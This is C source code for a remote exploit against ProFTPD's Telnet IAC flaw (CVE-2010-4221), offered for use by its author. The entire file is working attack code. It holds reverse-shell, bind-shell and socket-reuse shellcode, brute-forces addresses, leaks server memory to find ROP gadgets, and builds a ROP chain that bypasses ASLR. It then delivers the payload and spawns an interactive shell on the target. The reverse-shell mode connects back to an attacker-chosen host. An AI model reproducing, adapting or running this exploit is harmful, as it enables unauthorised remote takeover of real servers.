/* * Written by F0rb1dd3n * * This code exploit CVE-2010-4221 using a 31337 exploitation technique * You will be able to inject shellcode using Blind Return Oriented Programming * bypassing ASLR and another protections. Enjoy! * */ #include #include #include #include #include #include #include #include #include #include "hacking.h" #define PADDING 34 // offsets to trigger the flaw int offset[] = { 4101, 8189 }; // write(2) addresses to bruteforce unsigned int write_addr[] = { 0x080532d8, 0x0804D23C, 0x0804C9A4, 0x0804C9C4, 0x0804CAA8, 0x0804CBBC, 0x0804CCE0, 0x0804CA2C, 0x0804C290, 0x0804CCD4, 0x0804C290, 0x0804A85C, 0x0804A234, 0x08052830, 0x08052938, 0x0804CCD4, 0x0804CCBC }; // gadgets to ROP chain char pop3ret[] = "\x5e\x5f\x5d"; char large_popret[] = "\x83\xc4\x20\x5b\x5e\x5d\xc3"; // shellcode copy routine: char byte1[] = "\xfc\x8b"; // FC CLD char byte2[] = "\xf4"; // 8BF4 MOV ESI,ESP char byte3[] = "\xbf"; // BF 00010010 MOV EDI,10000100 char byte4[] = "\x00\x01\x00"; char byte5[] = "\x10"; char byte6[] = "\xb9\x00\x02\x00\x00"; // B9 00020000 MOV ECX,200 char byte7[] = "\xf3"; // F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> char byte8[] = "\xa4"; char byte9[] = "\xeb\xff"; // EB FF JMP +0xFF // mmap64 prefixes to search in the leaked memory of the server char mmap64_pre_1[] = "\xc7\x44\x24\x08\x03\x00\x00\x00\xc7\x04\x24\x00\x00\x00\x00\x89\x44\x24\x04"; char mmap64_pre_2[] = "\x89\x44\x24\x10\xa1\xbc\xa5\x0f\x08\x89\x44\x24\x04\xe8"; // memcpy prefixes to search in the leaked memory of the server char memcpy_pre_1[] = "\x8D\x45\xF4\x89\x04\x24\x89\x54\x24\x08\x8B\x55\x08\x89\x54\x24\x04\xE8"; char memcpy_pre_2[] = "\x8B\x56\x10\x89\x44\x24\x08\x89\x54\x24\x04\x8B\x45\xE4\x89\x04\x24\xe8"; char memcpy_pre_3[] = "\x89\x44\x24\x04\xA1\xBC\x9F\x0E\x08\x89\x04\x24"; char memcpy_pre_4[] = "\x89\x7C\x24\x04\x89\x1C\x24\x89\x44\x24\x08"; char memcpy_pre_5[] = "\x8B\x55\x10\x89\x74\x24\x04\x89\x04\x24\x89\x54\x24\x08"; // mmap64 arguments to ROP chain char mmap64_args[]="\x00\x00\x00\x10" "\x00\x10\x00\x00" "\x07\x00\x00\x00" "\x32\x00\x00\x00" "\xff\xff\xff\xff" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "\x00\x00\x00\x00"; // Connect back shellcode - 95 bytes char reverse_shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66" "\x58\x6a\x01\x5b\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80" "\x68\x7f\x7f\x7f\x7f\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a" "\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66\x58\xcd\x80" "\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31" "\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52" "\x53\x89\xe1\xcd\x80"; // Bind shellcode - 97 bytes char bind_shellcode[] = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd" "\x80\x96\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1" "\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89" "\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a" "\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x62\x61" "\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x52" "\x89\xe2\x53\x89\xe1\xcd\x80"; // execve /bin/bash Shellcode - 29 bytes char reuse_shellcode[] = "\x6a\x0b\x58\x99\x52\x31\xf6\x56\x68\x62\x61\x73\x68\x68\x2f" "\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; int main(int argc, char **argv) { int sockfd, result, port, align, b_size, addr, mmap64_addr, memcpy_addr, index = 0, sc_len; fd_set readset; pid_t pid; struct timeval timeout; struct linger linger; struct hostent *host_info, *my_host_info; struct sockaddr_in target_addr; FILE * fd; size_t r_result; unsigned char *buffer, *shellcode, f_shellcode[512], lhost[20]; unsigned char read_buffer[0xfffff]; unsigned int r_write, p3r, lpr, byte1_addr, byte2_addr, byte3_addr, byte4_addr, byte5_addr, byte6_addr, byte7_addr, byte8_addr, byte9_addr; if(argc < 4) { printf("\n\e[01;36mProftpd Telnet IAC remote generic exploit\e[00m\n"); printf("\e[00;31mWriten by: F0rb1dd3n\e[00m\n"); printf("\nUsage: %s \n", argv[0]); printf("\nAttack Types:\t0 - Socket Reuse"); printf("\n\t\t1 - Reverse Shell"); printf("\n\t\t2 - Bind Shell"); printf("\n\t\t3 - Your own shellcode (raw format)\n\n"); exit(1); } system("clear"); printf("\e[01;36mProftpd Telnet IAC remote generic exploit\e[00m\n"); printf("\e[00;31mWriten by: F0rb1dd3n\e[00m\n"); printf("\nTarget: %s\t\tPort: %s", argv[1], argv[2]); if(atoi(argv[3]) == 0){ // To re-use socket on this server we don't need dup2() because // the sock on proftpd already redirect stdin and stdout to socket // NICE! :) printf("\n\n\e[01;36mSocket Reuse Selected... \e[00m"); sc_len = 29; shellcode = (char *) malloc(sc_len); memcpy(shellcode, reuse_shellcode, sc_len); #ifdef DEBUG dump(shellcode, sc_len); #endif } if(atoi(argv[3]) == 1) { printf("\n\n\e[01;36mReverse Shell Selected\e[00m\n"); printf("\nEnter with reverse IP: "); scanf("%s", lhost); printf("Enter with reverse PORT: "); scanf("%d", &port); printf("\n"); //printf("Reverse IP: %s\tReverse Port: %d\n\n", lhost, port); // Setting reverse IP and PORT on shellcode if((my_host_info = gethostbyname(lhost)) == NULL) fatal("looking up your hostname"); memcpy(reverse_shellcode+31, my_host_info->h_addr, my_host_info->h_length); memcpy(reverse_shellcode+37, &port, 2); sc_len = 95; shellcode = (char *) malloc(sc_len); memcpy(shellcode, reverse_shellcode, sc_len); #ifdef DEBUG dump(shellcode, sc_len); #endif } if(atoi(argv[3]) == 2) { printf("\n\n\e[01;36mBind Shell Selected\e[00m\n"); printf("\nEnter with bind PORT: "); scanf("%d", &port); printf("\n"); //printf("Bind Port: %d\n\n", port); // Setting bind PORT on shellcode memcpy(bind_shellcode+24, &port, 2); sc_len = 97; shellcode = (char *) malloc(sc_len); memcpy(shellcode, bind_shellcode, sc_len); #ifdef DEBUG dump(shellcode, sc_len); #endif } if(atoi(argv[3]) == 3){ printf("\n\n\e[01;36mYour Own Shellcode Selected\e[00m\n"); printf("\nEnter your shellcode's file (raw format): "); scanf("%s", f_shellcode); fd = fopen(f_shellcode, "rb"); if (fd == NULL) fatal("on file openning"); // getting the size of the file fseek(fd, 0, SEEK_END); sc_len = ftell(fd); rewind(fd); // allocate memory to contain the whole file: shellcode = (char*) malloc (sc_len); // copy the file into the buffer: r_result = fread(shellcode, 1, sc_len, fd); if (r_result != sc_len) fatal("on readding file"); fclose (fd); #ifdef DEBUG dump(shellcode, sc_len); #endif printf("\e[01;33mYou need to configure your own listener!\e[00m\n\n"); } printf("\e[01;36mInitializing Attack\e[00m\n"); // Setting connection parameters if((host_info = gethostbyname(argv[1])) == NULL) fatal("looking up hostname"); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(atoi(argv[2])); target_addr.sin_addr = *((struct in_addr *)host_info->h_addr); memset(&(target_addr.sin_zero), '\0', 8); // zero the rest of the struct if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); printf("\nAttempting to connect to the server...\n"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1){ fatal("on connecting to target server"); } else { printf("%s Connected!\n", good); } bzero(read_buffer, sizeof(read_buffer)); if(read(sockfd, read_buffer, 500) > 0) { printf("%s Banner: \e[01;36m%s\e[00m", good, read_buffer); b_size = strlen(read_buffer); } close(sockfd); // Values for socket options timeout.tv_sec = 5; timeout.tv_usec = 0; linger.l_onoff = 1; linger.l_linger = 0; // Trying offsets to trigger the vulnerability for(int i = 0; i < sizeof(offset)/sizeof(offset[0]); i++){ printf("\nTrying with offset: %d\n", offset[i]); // Preparing the buffer buffer = (char *) malloc(offset[i]+1+PADDING+22); bzero(buffer, offset[i]+1+PADDING+22); memcpy(buffer+offset[i], "\xff", 1); memset(buffer+offset[i]+1, 'A', PADDING); /* write_addr will be added in this position */ memcpy(buffer+offset[i]+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4); *((unsigned int *)(buffer+offset[i]+1+PADDING+8)) = 0x00000001; /* write_addr will be added in this position */ *((unsigned int *)(buffer+offset[i]+1+PADDING+16)) = 0x0000ffff; memcpy(buffer+offset[i]+1+PADDING+20, "\x0a\x0d", 2); /* * Bruteforcing write(2) plt address * * You can bruteforce byte-by-byte to find write(2) offset, but * we are bruteforcing some address on write_addr array. This * addresses were found debugging different distros, feel free * to add more. * */ for(int j = 0; j < sizeof(write_addr)/sizeof(write_addr[0]); j++){ fflush(stdout); printf("Bruteforcing write(2) plt address: 0x%08x\r", write_addr[j]); // Taking write address to inside our buffer *((unsigned int *)(buffer+offset[i]+1+PADDING)) = write_addr[j]; *((unsigned int *)(buffer+offset[i]+1+PADDING+12)) = write_addr[j]; // Connecting to the server if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (setsockopt (sockfd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)) == -1) fatal("setsockopt. Failed on set SO_RCVTIMEO"); if (setsockopt (sockfd, SOL_SOCKET, SO_LINGER, (char *)&linger, sizeof(linger)) == -1) fatal("setsockopt. Failed on set SO_LINGER"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("on connecting to target server"); bzero(read_buffer, sizeof(read_buffer)); read(sockfd, read_buffer, b_size); // Reading the banner before bzero(read_buffer, sizeof(read_buffer)); // Sending a buffer write(sockfd, buffer, offset[i]+1+PADDING+22); // Waiting response usleep(100*1000); FD_ZERO(&readset); FD_SET(sockfd, &readset); result = select(sockfd+1, &readset, NULL, NULL, &timeout); if (result == -1) { fatal("in select()"); } else if (result > 0) { if (FD_ISSET(sockfd, &readset)) { if(recv(sockfd, read_buffer, 0xffff, MSG_WAITALL) == 0xffff) { printf("\n%s Success with offset: \e[01;36m%d\e[00m", good, offset[i]); printf("\n%s Success on write(2): \e[01;36m0x%08x\e[00m\n", good, write_addr[j]); close(sockfd); free(buffer); #ifdef DEBUG dump(read_buffer, 0xffff); #endif align = offset[i]; r_write = write_addr[j]; goto exploit; } } } // Shuting down the socket close(sockfd); } printf("\n%s No write(2) found\n", bad); free(buffer); } printf("%s Cannot be found offset or write(2) address. Exploit failed!\n\n", bad); exit(0); exploit: printf("\nAttempting to read memory from server..."); buffer = (char *) malloc(align+1+PADDING+22); bzero(buffer, align+1+PADDING+22); memcpy(buffer+align, "\xff", 1); memset(buffer+align+1, 'A', PADDING); *((unsigned int *)(buffer+align+1+PADDING)) = r_write; memcpy(buffer+align+1+PADDING+4, "\xcc\xcc\xcc\xcc", 4); *((unsigned int *)(buffer+align+1+PADDING+8)) = 0x00000001; *((unsigned int *)(buffer+align+1+PADDING+12)) = r_write; *((unsigned int *)(buffer+align+1+PADDING+16)) = 0x000fffff; memcpy(buffer+align+1+PADDING+20, "\x0a\x0d", 2); // Connecting to the server if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (setsockopt (sockfd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout)) == -1) fatal("setsockopt. Failed on set SO_RCVTIMEO"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("on connecting to target server"); bzero(read_buffer, sizeof(read_buffer)); read(sockfd, read_buffer, b_size); // Reading the banner before bzero(read_buffer, sizeof(read_buffer)); // Sending a buffer write(sockfd, buffer, align+1+PADDING+22); free(buffer); // Reading response FD_ZERO(&readset); FD_SET(sockfd, &readset); result = select(sockfd+1, &readset, NULL, NULL, &timeout); if (result == -1) { fatal("in select()"); } else if (result == 0) { printf("\n%s Timeout! Could not get memory from the server!\n\n", bad); exit(0); } else if (result > 0) { if (FD_ISSET(sockfd, &readset)) { if(recv(sockfd, read_buffer, 0xfffff, MSG_WAITALL) <= 0) { printf("\n%s Fail! Could not read memory from the server!\n\n", bad); exit(0); } } } // Shuting down the socket close(sockfd); // Initializating... mmap64_addr = r_write; memcpy_addr = r_write; p3r = r_write; lpr = r_write; byte1_addr = r_write; byte2_addr = r_write; byte3_addr = r_write; byte4_addr = r_write; byte5_addr = r_write; byte6_addr = r_write; byte7_addr = r_write; byte8_addr = r_write; byte9_addr = r_write; // Trying to find mmap64 index = index_of(read_buffer, sizeof(read_buffer), mmap64_pre_1, sizeof(mmap64_pre_1)-1); if(index >= 0){ addr = r_write + index + 23; memcpy(&mmap64_addr, read_buffer+index+20, 4); mmap64_addr = addr - (0xffffffff - mmap64_addr); printf("\n%s mmap64 is located at \e[01;36m0x%08x\e[00m", good, mmap64_addr); } else { if(index = index_of(read_buffer, sizeof(read_buffer), mmap64_pre_2, sizeof(mmap64_pre_2)-1) >= 0){ addr = r_write + index + 17; memcpy(&mmap64_addr, read_buffer+index+14, 4); mmap64_addr = addr - (0xffffffff - mmap64_addr); printf("\n%s mmap64 is located at \e[01;36m0x%08x\e[00m", good, mmap64_addr); } else { printf("\n%s Fail! Could not find mmap64!\n\n", bad); exit(0); } } // Trying to find memcpy index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_1, sizeof(memcpy_pre_1)-1); if(index >= 0){ addr = r_write + index + 21; memcpy(&memcpy_addr, read_buffer+index+18, 4); memcpy_addr = addr - (0xffffffff - memcpy_addr); printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr); } else { index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_2, sizeof(memcpy_pre_2)-1); if(index >= 0){ addr = r_write + index + 21; memcpy(&memcpy_addr, read_buffer+index+18, 4); memcpy_addr = addr - (0xffffffff - memcpy_addr); printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr); } else { index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_3, sizeof(memcpy_pre_3)-1); if(index >= 0){ addr = r_write + index + 16; memcpy(&memcpy_addr, read_buffer+index+13, 4); memcpy_addr = addr - (0xffffffff - memcpy_addr); printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr); } else { index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_4, sizeof(memcpy_pre_4)-1); if(index >= 0){ addr = r_write + index + 15; memcpy(&memcpy_addr, read_buffer+index+12, 4); memcpy_addr = addr - (0xffffffff - memcpy_addr); printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr); } else { index = index_of(read_buffer, sizeof(read_buffer), memcpy_pre_5, sizeof(memcpy_pre_5)-1); if(index >= 0){ addr = r_write + index + 18; memcpy(&memcpy_addr, read_buffer+index+15, 4); memcpy_addr = addr - (0xffffffff - memcpy_addr); printf("\n%s memcpy is located at \e[01;36m0x%08x\e[00m", good, memcpy_addr); } else { printf("\n%s Fail! Could not find memcpy!\n\n", bad); exit(0); } } } } } // Trying to find Pop Ret location index = index_of(read_buffer, sizeof(read_buffer), pop3ret, sizeof(pop3ret)-1); if(index >= 0){ p3r += index; printf("\n%s Pop3Ret is located at \e[01;36m0x%08x\e[00m", good, p3r); } else { printf("\n%s Fail! Could not find Pop3Ret!\n\n", bad); exit(0); } index = index_of(read_buffer, sizeof(read_buffer), large_popret, sizeof(large_popret)-1); if(index >= 0){ lpr += index; printf("\n%s Large PopRet is located at \e[01;36m0x%08x\e[00m", good, lpr); } else { printf("\n%s Fail! Could not find Large PopRet!\n\n", bad); exit(0); } // Trying to find special bytes location to shellcode copy routine index = index_of(read_buffer, sizeof(read_buffer), byte1, sizeof(byte1)-1); if(index >= 0){ byte1_addr += index; printf("\n%s Byte1 is located at \e[01;36m0x%08x\e[00m", good, byte1_addr); } else { printf("\n%s Fail! Could not find Byte1!\n\n", bad); exit(0); } index = index_of(read_buffer, sizeof(read_buffer), byte2, sizeof(byte2)-1); if(index >= 0){ byte2_addr += index; printf("\n%s Byte2 is located at \e[01;36m0x%08x\e[00m", good, byte2_addr); } else { printf("\n%s Fail! Could not find Byte2!\n\n", bad); exit(0); } index = index_of(read_buffer, sizeof(read_buffer), byte3, sizeof(byte3)-1); if(index >= 0){ byte3_addr += index; printf("\n%s Byte3 is located at \e[01;36m0x%08x\e[00m", good, byte3_addr); } else { printf("\n%s Fail! Could not find Byte3!\n\n", bad); exit(0); } index = index_of(read_buffer, sizeof(read_buffer), byte4, sizeof(byte4)-1); if(index >= 0){ byte4_addr += index; printf("\n%s Byte4 is located at \e[01;36m0x%08x\e[00m", good, byte4_addr); } else { printf("\n%s Fail! Could not find Byte4!\n\n", bad); exit(0); } index = index_of(read_buffer, sizeof(read_buffer), byte5, sizeof(byte5)-1); if(index >= 0){ byte5_addr += index; printf("\n%s Byte5 is located at \e[01;36m0x%08x\e[00m", good, byte5_addr); } else { printf("\n%s Fail! Could not find Byte5!\n\n", bad); exit(0); } index = index_of(read_buffer, sizeof(read_buffer), byte6, sizeof(byte6)-1); if(index >= 0){ byte6_addr += index; printf("\n%s Byte6 is located at \e[01;36m0x%08x\e[00m", good, byte6_addr); } else { printf("\n%s Fail! Could not find Byte6!\n\n", bad); exit(0); } index = index_of(read_buffer, sizeof(read_buffer), byte7, sizeof(byte7)-1); if(index >= 0){ byte7_addr += index; printf("\n%s Byte7 is located at \e[01;36m0x%08x\e[00m", good, byte7_addr); } else { printf("\n%s Fail! Could not find Byte7!\n\n", bad); exit(0); } index = index_of(read_buffer, sizeof(read_buffer), byte8, sizeof(byte8)-1); if(index >= 0){ byte8_addr += index; printf("\n%s Byte8 is located at \e[01;36m0x%08x\e[00m", good, byte8_addr); } else { printf("\n%s Fail! Could not find Byte8!\n\n", bad); exit(0); } index = index_of(read_buffer, sizeof(read_buffer), byte9, sizeof(byte9)-1); if(index >= 0){ byte9_addr += index; printf("\n%s Byte9 is located at \e[01;36m0x%08x\e[00m", good, byte9_addr); } else { printf("\n%s Fail! Could not find Byte9!\n\n", bad); exit(0); } printf("\n\nBuilding exploit buffer...\n"); buffer = (char *) malloc(align+1+PADDING+336+sc_len+12); // Here we will build our ROP chain bzero(buffer, align+1+PADDING+336+sc_len+12); memcpy(buffer+align, "\xff", 1); memset(buffer+align+1, 'A', PADDING); *((unsigned int *)(buffer+align+1+PADDING)) = mmap64_addr; *((unsigned int *)(buffer+align+1+PADDING+4)) = lpr; memcpy(buffer+align+1+PADDING+8, mmap64_args, sizeof(mmap64_args)); *((unsigned int *)(buffer+align+1+PADDING+52)) = memcpy_addr; *((unsigned int *)(buffer+align+1+PADDING+56)) = p3r; memcpy(buffer+align+1+PADDING+60, "\x00\x00\x00\x10", 4); *((unsigned int *)(buffer+align+1+PADDING+64)) = byte1_addr; memcpy(buffer+align+1+PADDING+68, "\x02\x00\x00\x00", 4); *((unsigned int *)(buffer+align+1+PADDING+72)) = memcpy_addr; *((unsigned int *)(buffer+align+1+PADDING+76)) = p3r; memcpy(buffer+align+1+PADDING+80, "\x02\x00\x00\x10", 4); *((unsigned int *)(buffer+align+1+PADDING+84)) = byte2_addr; memcpy(buffer+align+1+PADDING+88, "\x01\x00\x00\x00", 4); *((unsigned int *)(buffer+align+1+PADDING+92)) = memcpy_addr; *((unsigned int *)(buffer+align+1+PADDING+96)) = p3r; memcpy(buffer+align+1+PADDING+100, "\x03\x00\x00\x10", 4); *((unsigned int *)(buffer+align+1+PADDING+104)) = byte3_addr; memcpy(buffer+align+1+PADDING+108, "\x01\x00\x00\x00", 4); *((unsigned int *)(buffer+align+1+PADDING+112)) = memcpy_addr; *((unsigned int *)(buffer+align+1+PADDING+116)) = p3r; memcpy(buffer+align+1+PADDING+120, "\x04\x00\x00\x10", 4); *((unsigned int *)(buffer+align+1+PADDING+124)) = byte4_addr; memcpy(buffer+align+1+PADDING+128, "\x03\x00\x00\x00", 4); *((unsigned int *)(buffer+align+1+PADDING+132)) = memcpy_addr; *((unsigned int *)(buffer+align+1+PADDING+136)) = p3r; memcpy(buffer+align+1+PADDING+140, "\x07\x00\x00\x10", 4); *((unsigned int *)(buffer+align+1+PADDING+144)) = byte5_addr; memcpy(buffer+align+1+PADDING+148, "\x01\x00\x00\x00", 4); *((unsigned int *)(buffer+align+1+PADDING+152)) = memcpy_addr; *((unsigned int *)(buffer+align+1+PADDING+156)) = p3r; memcpy(buffer+align+1+PADDING+160, "\x08\x00\x00\x10", 4); *((unsigned int *)(buffer+align+1+PADDING+164)) = byte6_addr; memcpy(buffer+align+1+PADDING+168, "\x05\x00\x00\x00", 4); *((unsigned int *)(buffer+align+1+PADDING+172)) = memcpy_addr; *((unsigned int *)(buffer+align+1+PADDING+176)) = p3r; memcpy(buffer+align+1+PADDING+180, "\x0d\x00\x00\x10", 4); *((unsigned int *)(buffer+align+1+PADDING+184)) = byte7_addr; memcpy(buffer+align+1+PADDING+188, "\x01\x00\x00\x00", 4); *((unsigned int *)(buffer+align+1+PADDING+192)) = memcpy_addr; *((unsigned int *)(buffer+align+1+PADDING+196)) = p3r; memcpy(buffer+align+1+PADDING+200, "\x0e\x00\x00\x10", 4); *((unsigned int *)(buffer+align+1+PADDING+204)) = byte8_addr; memcpy(buffer+align+1+PADDING+208, "\x01\x00\x00\x00", 4); *((unsigned int *)(buffer+align+1+PADDING+212)) = memcpy_addr; *((unsigned int *)(buffer+align+1+PADDING+216)) = p3r; memcpy(buffer+align+1+PADDING+220, "\x0f\x00\x00\x10", 4); *((unsigned int *)(buffer+align+1+PADDING+224)) = byte9_addr; memcpy(buffer+align+1+PADDING+228, "\x02\x00\x00\x00", 4); memcpy(buffer+align+1+PADDING+232, "\x00\x00\x00\x10", 4); memset(buffer+align+1+PADDING+236, '\x90', 205); memcpy(buffer+align+1+PADDING+336, shellcode, sc_len); memcpy(buffer+align+1+PADDING+336+sc_len+10, "\x0a\x0d", 2); printf("%s OK!\n", good); printf("\nExploiting:\n", good); if(atoi(argv[3]) == 0){ // Connecting to the server if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("on connecting to target server"); bzero(read_buffer, sizeof(read_buffer)); if(read(sockfd, read_buffer, b_size) <= 0) fatal("on reading banner"); // Sending the buffer write(sockfd, buffer, align+1+PADDING+336+sc_len+12); write(STDOUT_FILENO, good, sizeof(good)); write(STDOUT_FILENO, " Evil buffer was sent!\n", 24); usleep(100*1500); if(checkshell(sockfd) == -1) { fatal(" shell is not openned"); } else { printf("%s Shell is openned!\n\n", good); } send(sockfd, "uname -a; id; echo; export TERM=linux;\n", 39, 0); send(sockfd, "python -c 'import pty;pty.spawn(\"/bin/bash\")';\n", 47, 0); shell(sockfd); send(sockfd, "exit\n", 5, 0); // because of python pty it is necessary exit 2 times close(sockfd); } if(atoi(argv[3]) == 1) { pid = fork(); if(pid == -1) fatal("on forking proccess"); if(pid > 0) listener(port); if(pid == 0){ usleep(100*1500); // Connecting to the server if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("on connecting to target server"); // Sending the buffer write(sockfd, buffer, align+1+PADDING+336+sc_len+12); close(sockfd); write(STDOUT_FILENO, good, sizeof(good)); write(STDOUT_FILENO, " Evil buffer was sent!\n", 24); } } if(atoi(argv[3]) == 2) { // Connecting to the server if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("on connecting to target server"); // Sending the buffer write(sockfd, buffer, align+1+PADDING+336+sc_len+12); close(sockfd); write(STDOUT_FILENO, good, sizeof(good)); write(STDOUT_FILENO, " Evil buffer was sent!\n", 24); usleep(100*2000); bind_conn(argv[1], port); } if(atoi(argv[3]) == 3) { // Connecting to the server if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("on connecting to target server"); // Sending the buffer write(sockfd, buffer, align+1+PADDING+336+sc_len+12); close(sockfd); write(STDOUT_FILENO, good, sizeof(good)); write(STDOUT_FILENO, " Evil buffer was sent!\n\n", 24); } }